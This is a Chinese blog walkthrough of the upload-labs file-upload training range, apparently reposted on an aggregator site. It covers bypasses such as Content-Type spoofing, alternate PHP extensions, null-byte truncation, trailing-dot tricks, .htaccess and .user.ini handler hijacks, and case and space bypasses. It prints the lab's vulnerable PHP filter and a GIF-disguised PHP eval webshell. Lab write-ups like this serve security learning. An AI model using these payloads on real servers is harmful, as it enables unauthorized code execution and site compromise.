upload通关,写下自己遗忘的理解~

2024-01-30 18:59

本文主要是介绍upload通关,写下自己遗忘的理解~,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第一关没什么好说的,前端验证直接过。

第二关(Content-Type头检测文件类型绕过)

我们先看一下它限制了什么
在这里插入图片描述我们先看一下$_FILES数组

$_FILES数组内容如下: 
$_FILES['myFile']['name'] 客户端文件的原名称。 
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。 
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。 
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量) 

也就是说文件类型Content-Type必须是image/jpeg,image/png,image/gif中的一个,那么很简单,抓包修改Content-Type类型为image/jpeg,image/png,image/gif随遍一个即可绕过。

第三关限制文件后缀

方法一黑名单绕过

它限制了不允许上传.asp,.aspx,.php,.jsp后缀文件!
并且全部转小写来防止大小写绕过。
那么我们可以使用php扩展来绕过上传

pht,phpt,phtml,php3,php4,php5,php6

并且这些扩展名也可以解析php
注意!
如果想要被当成php文件执行的话,Apache的httpd.conf有如下配置代码(靶场应该是配置好的,如果是本地复现,需要配置)

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

如果是上传asp🐎可以使用

cer、asa、cdx等来绕过

在这里插入图片描述

方法二%00截断绕过(推荐)不受环境影响

在这里插入图片描述
在这里插入图片描述

第四关

方法一,代码审计绕过

所有漏洞的本质在源于开发者本身对代码的疏忽,那么我们进行白盒审计,绕过他的过滤即可。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');   //返回从点到结尾的所有字符$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?>

其实我们大概能看出来,他是选取先删去末尾的一个 . 然后防止点绕过。然后在选取点后面的字符串进行黑名单进行比较,最后筛选。

那么我们构造1.php. .来进行绕过,最后一个点来过deldot函数,倒数第二个点用来跟黑名单比较,最后绕过黑名单检测。
在这里插入图片描述

方法二,上传htaccess文件解析jpg文件

先上传一个.htaccess文件进行解析
在这里插入图片描述内容如下,意思是把2.jpg文件当成php文件进行解析。

<FilesMatch "2.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述

第五关

1.代码审计绕过

依然采取1.php. .绕过可打通

2.apach解析漏洞

那么什么是apache解析漏洞呢?
说句人话:

apache2解析漏洞 (存在于Apache1.x和Apache2.x)
将从右向左开始解析后缀, 直到遇到一个apache认识的后缀类型,就会以该类型进行解析:

我们来F12看一下我们的中间件是否符合规定
在这里插入图片描述
那么我们构造1.php.aaa进行测试
不知为何,我的不解析。。。。。

方法三 .user.ini绕过 适用范围(php版本5.5.38以上)

发现黑名单中并没有限制.user.ini文件。

我就谈一下自己的理解:(网上太多资料了,我用大白话来说一下)

我们需要准备三个文件,一个.user.ini,一个php文件,一个gif或者jpg都可以

因为在upload目录我们是知道有一个readme.php文件的,所以我们只需要上传两个.user.ini和gif文件
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
我来解释一下这是为什么

1.auto_prepend_file—-指定在每个PHP页面执行前所要执行的代码。
2.auto_append_file—-指定在每个PHP页面执行完成后所要执行的代码

我们可以这么理解,auto_prepend_file=1.gif相当于require(1.gif),相当于把1.gif包含,由于是在指定每个php页面前就要包含1.gif,所以我们访问readme.php时会先走1.gif里面的代码,并把它执行。

更普遍的情况,他会限制你上传.user.ini文件,那么我们就这样来

构造.user.ini文件
GIF89a
auto_prepend_file=a.jpg
然后构造一个a.jpg,内容如下:
GIF89a
<?php @eval($_POST['pass'])?>

通过头来绕过

利用条件

利用.user.ini文件条件:

1.服务器脚本语言为PHP
2.服务器使用CGI/FastCGI模式
3.上传目录下要有可执行的php文件

针对条件2,我们可以看这里

第6关

分析源代码
在这里插入图片描述
没有过滤大小写直接大小写绕过
抓包修改
1.PHP
在这里插入图片描述

第七关

没有过滤空格,空格绕过
在这里插入图片描述

这篇关于upload通关,写下自己遗忘的理解~的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/661230

相关文章

认识、理解、分类——acm之搜索

普通搜索方法有两种:1、广度优先搜索;2、深度优先搜索; 更多搜索方法: 3、双向广度优先搜索; 4、启发式搜索(包括A*算法等); 搜索通常会用到的知识点:状态压缩(位压缩,利用hash思想压缩)。

【生成模型系列(初级)】嵌入(Embedding)方程——自然语言处理的数学灵魂【通俗理解】

【通俗理解】嵌入(Embedding)方程——自然语言处理的数学灵魂 关键词提炼 #嵌入方程 #自然语言处理 #词向量 #机器学习 #神经网络 #向量空间模型 #Siri #Google翻译 #AlexNet 第一节:嵌入方程的类比与核心概念【尽可能通俗】 嵌入方程可以被看作是自然语言处理中的“翻译机”,它将文本中的单词或短语转换成计算机能够理解的数学形式,即向量。 正如翻译机将一种语言

【C++高阶】C++类型转换全攻略:深入理解并高效应用

📝个人主页🌹:Eternity._ ⏩收录专栏⏪:C++ “ 登神长阶 ” 🤡往期回顾🤡:C++ 智能指针 🌹🌹期待您的关注 🌹🌹 ❀C++的类型转换 📒1. C语言中的类型转换📚2. C++强制类型转换⛰️static_cast🌞reinterpret_cast⭐const_cast🍁dynamic_cast 📜3. C++强制类型转换的原因📝

深入理解RxJava:响应式编程的现代方式

在当今的软件开发世界中,异步编程和事件驱动的架构变得越来越重要。RxJava,作为响应式编程(Reactive Programming)的一个流行库,为Java和Android开发者提供了一种强大的方式来处理异步任务和事件流。本文将深入探讨RxJava的核心概念、优势以及如何在实际项目中应用它。 文章目录 💯 什么是RxJava?💯 响应式编程的优势💯 RxJava的核心概念

如何通俗理解注意力机制?

1、注意力机制(Attention Mechanism)是机器学习和深度学习中一种模拟人类注意力的方法,用于提高模型在处理大量信息时的效率和效果。通俗地理解,它就像是在一堆信息中找到最重要的部分,把注意力集中在这些关键点上,从而更好地完成任务。以下是几个简单的比喻来帮助理解注意力机制: 2、寻找重点:想象一下,你在阅读一篇文章的时候,有些段落特别重要,你会特别注意这些段落,反复阅读,而对其他部分

深入理解数据库的 4NF:多值依赖与消除数据异常

在数据库设计中, "范式" 是一个常常被提到的重要概念。许多初学者在学习数据库设计时,经常听到第一范式(1NF)、第二范式(2NF)、第三范式(3NF)以及 BCNF(Boyce-Codd范式)。这些范式都旨在通过消除数据冗余和异常来优化数据库结构。然而,当我们谈到 4NF(第四范式)时,事情变得更加复杂。本文将带你深入了解 多值依赖 和 4NF,帮助你在数据库设计中消除更高级别的异常。 什么是

分布式系统的个人理解小结

分布式系统:分的微小服务,以小而独立的业务为单位,形成子系统。 然后分布式系统中需要有统一的调用,形成大的聚合服务。 同时,微服务群,需要有交流(通讯,注册中心,同步,异步),有管理(监控,调度)。 对外服务,需要有控制的对外开发,安全网关。

Java IO 操作——个人理解

之前一直Java的IO操作一知半解。今天看到一个便文章觉得很有道理( 原文章),记录一下。 首先,理解Java的IO操作到底操作的什么内容,过程又是怎么样子。          数据来源的操作: 来源有文件,网络数据。使用File类和Sockets等。这里操作的是数据本身,1,0结构。    File file = new File("path");   字

理解java虚拟机内存收集

学习《深入理解Java虚拟机》时个人的理解笔记 1、为什么要去了解垃圾收集和内存回收技术? 当需要排查各种内存溢出、内存泄漏问题时,当垃圾收集成为系统达到更高并发量的瓶颈时,我们就必须对这些“自动化”的技术实施必要的监控和调节。 2、“哲学三问”内存收集 what?when?how? 那些内存需要回收?什么时候回收?如何回收? 这是一个整体的问题,确定了什么状态的内存可以

理解分类器(linear)为什么可以做语义方向的指导?(解纠缠)

Attribute Manipulation(属性编辑)、disentanglement(解纠缠)常用的两种做法:线性探针和PCA_disentanglement和alignment-CSDN博客 在解纠缠的过程中,有一种非常简单的方法来引导G向某个方向进行生成,然后我们通过向不同的方向进行行走,那么就会得到这个属性上的图像。那么你利用多个方向进行生成,便得到了各种方向的图像,每个方向对应了很多